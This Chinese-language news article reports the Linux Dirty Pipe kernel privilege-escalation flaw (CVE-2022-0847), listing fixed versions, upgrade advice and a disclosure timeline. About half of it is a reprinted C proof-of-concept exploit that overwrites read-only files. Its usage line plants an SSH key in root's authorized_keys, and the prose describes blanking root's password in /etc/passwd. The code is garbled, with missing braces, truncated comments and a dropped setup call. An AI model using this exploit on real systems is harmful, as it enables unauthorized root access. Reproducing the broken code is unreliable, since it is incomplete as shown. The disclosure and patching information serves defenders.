Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)

来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞:脏…

来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞:脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。

据介绍,此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据,从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。

Max 表示,“脏管道”漏洞与几年前的“脏牛”类似,所以采用了相似的名字,不过前者更容易被利用。此外,该漏洞目前已被黑客利用,研究人员建议尽快升级版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。

Max 在文章中提供了漏洞 PoC。

/* SPDX-License-Identifier: GPL-2.0 */
 * Copyright 2022 CM4all GmbH / IONOS SE
 * author: Max Kellermann <[email protected]>
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 * Further explanation:

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096

 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
static void prepare_pipe(int p[2])
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */

int main(int argc, char **argv)
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;

	/* create the pipe with all flags initialized with
	int p[2];

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;

	printf("It worked!\n");

据介绍,本地用户可以将自己的数据注入敏感的只读文件,消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例,修改后可直接取消 root 用户的密码,然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现,使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。

最后,建议各位检查所使用的 Linux 服务器的内核版本,若是 5.8 以上的版本请尽快升级。

脏管道 (Dirty Pipe) 漏洞时间线:

  • 2022-02-20:向 Linux 内核安全团队发送错误报告、漏洞利用和补丁
  • 2022-02-21:在 Google Pixel 6 上复现错误,并向 Android 安全团队发送错误报告
  • 2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议,将补丁发送到 LKML(不含漏洞详细信息)
  • 2022-02-23:发布包含错误修复的 Linux 稳定版本 5.16.11、5.15.25、5.10.102)
  • 2022-02-24:Google 将错误修复合并到 Android 内核
  • 2022-02-28:通知 linux-distros 邮件列表
  • 2022-03-07:公开披露

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